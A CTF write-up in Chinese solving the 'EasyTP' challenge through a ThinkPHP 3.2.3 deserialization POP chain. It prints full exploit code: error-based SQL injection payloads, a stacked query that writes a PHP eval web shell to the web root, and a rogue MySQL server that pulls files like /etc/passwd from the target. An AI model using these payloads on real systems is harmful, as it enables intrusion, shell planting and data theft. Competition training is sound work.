[红明谷CTF 2021]EasyTP
Posted Sk1y
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[红明谷CTF 2021]EasyTP相关的知识,希望对你有一定的参考价值。
[红明谷CTF 2021]EasyTP
解题过程
打开容器
源码泄露/www.zip
下载下来,发现是thinkphp3.2.3的,找链子:ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链 (f5.pm)
注意在源码中,控制器中存在反序列化,以这个为入手点
在BUUCTF的环境中,database=test,password=root
解法1:报错注入
使用报错注入
<?php
namespace Think\\Db\\Driver
use PDO;
class mysql
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => true,
"database" => "test", // 可换成任一存在的库
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "root" // BUU环境密码为root
);
namespace Think\\Image\\Driver
use Think\\Session\\Driver\\Memcache;
class Imagick
private $img;
public function __construct()
$this->img = new Memcache();
namespace Think\\Session\\Driver
use Think\\Model;
class Memcache
protected $handle;
public function __construct()
$this->handle = new Model();
namespace Think
use Think\\Db\\Driver\\Mysql;
class Model
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct()
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
//查看数据库名称
// "table" => "mysql.user where updatexml(1,concat(0x7e,mid((select(group_concat(schema_name))from(information_schema.schemata)),30),0x7e),1)#",
//数据库名称:'~information_schema,mysql,performance_schema,sys,test~'
//一次能够读取的长度有限,分两次读取数据 使用mid函数分开读取
//查表名
// "table" => "mysql.user where updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#",
// ~flag,users~
// 查列名
//"table" => "mysql.user where updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1)#",
//~flag~
//查字段值
"table" => "mysql.user where updatexml(1,concat(0x7e,mid((select`*`from`flag`),1),0x7e),1)#",
"where" => "1=1"
);
namespace
echo base64_encode(serialize(new Think\\Image\\Driver\\Imagick()));
其中报错注入的部分,注意updatexml 最多只能显示32位,可以使用substr或者reverse来进行搭配使用,而师傅的wp中采用mid()函数进行部分截取
//查看数据库名称
// "table" => "mysql.user where updatexml(1,concat(0x7e,mid((select(group_concat(schema_name))from(information_schema.schemata)),30),0x7e),1)#",
//数据库名称:'~information_schema,mysql,performance_schema,sys,test~'
//一次能够读取的长度有限,分两次读取数据 使用mid函数分开读取
//查表名
// "table" => "mysql.user where updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#",
// ~flag,users~
// 查列名
//"table" => "mysql.user where updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1)#",
//~flag~
//查字段值
"table" => "mysql.user where updatexml(1,concat(0x7e,mid((select`*`from`flag`),1),0x7e),1)#",
"where" => "1=1"
利用控制器中的php://input
进行post传入数据
查列名:flag
flag长度过长,分开查,查看前半段flag
mysql.user where updatexml(1,concat(0x7e,mid((select`*`from`flag`),1),0x7e),1)#
查看后半段flag
mysql.user where updatexml(1,concat(0x7e,mid((select`*`from`flag`),15),0x7e),1)#
拼接即可得到最终的flag
解法2:开堆叠写shell
参考赵总的payload:红明谷 CTF2021 Web部分 WriteUp – glzjin (zhaoj.in)
<?php
namespace Think\\Db\\Driver
use PDO;
class Mysql
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true, //读取本地文件~
PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, //把堆叠开了~
);
protected $config = array(
"debug" => 1,
"database" => "test",//任意一个存在的数据库
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
namespace Think\\Image\\Driver
use Think\\Session\\Driver\\Memcache;
class Imagick
private $img;
public function __construct()
$this->img = new Memcache();
namespace Think\\Session\\Driver
use Think\\Model;
class Memcache
protected $handle;
public function __construct()
$this->handle = new Model();
namespace Think
use Think\\Db\\Driver\\Mysql;
class Model
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct()
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=1;select '<?php eval(\\$_POST[1]);?>' into outfile '/var/www/html/shell.php';#",
"where" => "1=1"
);
namespace
echo base64_encode(serialize(new Think\\Image\\Driver\\Imagick()));
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => "http://60255871-6897-49ef-9d6c-884e6aa201d0.node4.buuoj.cn:81/index.php/Home/Index/test",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => base64_encode(serialize(new Think\\Image\\Driver\\Imagick())),
CURLOPT_HTTPHEADER => array(
"Postman-Token: 348e180e-5893-4ab4-b1d4-f570d69f228e",
"cache-control: no-cache"
),
));
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err)
echo "cURL Error #:" . $err;
else
echo $response;
蚁剑连接
查看根目录的文件,发现flag是插入进数据库中的
flag.sh
start.sh
根据这个shell直接用蚁剑连接数据库,数据库类型选择MYSQLI
获取flag
解法3:rogue-mysql-server
在vps上起一个恶意的server,模拟mysql服务端的身份验证过程,骗取客户端(也就是靶机)将其信息发给靶机
exp地址:
这个过程参照Crispr师傅的博客GKCTF&红明谷 部分Web 题解 – Crispr –热爱技术和生活 (crisprx.top)
贴一下师傅的解析,讲得特别好
使用的是roguemysql.php
,注意修改其中的端口(因为可能vps上已经有mysql在3306端口了,我们的这个恶意的mysql的server端要占一个端口,这里我用的是3307端口,注意把vps的防火墙打开)
<?php
function unhex($str) return pack("H*", preg_replace('#[^a-f0-9]+#si', '', $str));
$filename = "/etc/passwd";
$srv = stream_socket_server("tcp://0.0.0.0:3307");
while (true)
echo "Enter filename to get [$filename] > ";
$newFilename = rtrim(fgets(STDIN), "\\r\\n");
if (!empty($newFilename))
$filename = $newFilename;
echo "[.] Waiting for connection on 0.0.0.0:3307\\n";
$s = stream_socket_accept($srv, -1, $peer);
echo "[+] Connection from $peer - greet... ";
fwrite($s, unhex('45 00 00 00 0a 35 2e 31 2e 36 33 2d 30 75 62 75
6e 74 75 30 2e 31 30 2e 30 34 2e 31 00 26 00 00
00 7a 42 7a 60 51 56 3b 64 00 ff f7 08 02 00 00
00 00 00 00 00 00 00 00 00 00 00 00 64 4c 2f 44
47 77 43 2a 43 56 63 72 00 '));
fread($s, 8192);
echo "auth ok... ";
fwrite($s, unhex('07 00 00 02 00 00 00 02 00 00 00'));
fread($s, 8192);
echo "some shit ok... ";
fwrite($s, unhex('07 00 00 01 00 00 00 00 00 00 00'));
fread($s, 8192);
echo "want file... ";
fwrite($s, chr(strlen($filename) + 1) . "\\x00\\x00\\x01\\xFB" . $filename);
stream_socket_shutdown($s, STREAM_SHUT_WR);
echo "\\n";
echo "[+] $filename from $peer:\\n";
$len = fread($s, 4);
if(!empty($len))
list (, $len) = unpack("V", $len);
$len &= 0xffffff;
while ($len > 0)
$chunk = fread($s, $len);
$len -= strlen($chunk);
echo $chunk;
echo "\\n\\n";
fclose($s);
同时需要让靶机来连接我们vps上的这个恶意的server才行,所以修改了一下上面的payload中的ip和port
准备之后开始操作
先开启恶意的mysql_server服务
php roguemysql.php
可以输入/etc/passwd来测试
然后burpsuite发包,反序列化触发执行让靶机连接我们的恶意server
参考链接
- [BUUOJ]红明谷CTF2021复现 | tyskillのBlog
- 红明谷 CTF2021 Web部分 WriteUp – glzjin (zhaoj.in)
- GKCTF&红明谷 部分Web 题解 – Crispr –热爱技术和生活 (crisprx.top)
- mysql任意文件读取学习
- allyshka/Rogue-MySql-Server
2022年的第一篇博客,新的一年,沉下心来,好好学技术。(ง •_•)ง
以上是关于[红明谷CTF 2021]EasyTP的主要内容,如果未能解决你的问题,请参考以下文章
Java安全-Java In CTF([红明谷CTF 2021]JavaWeb[红明谷CTF 2021]JavaWeb)
BUUCTF-[红明谷CTF 2021]write_shell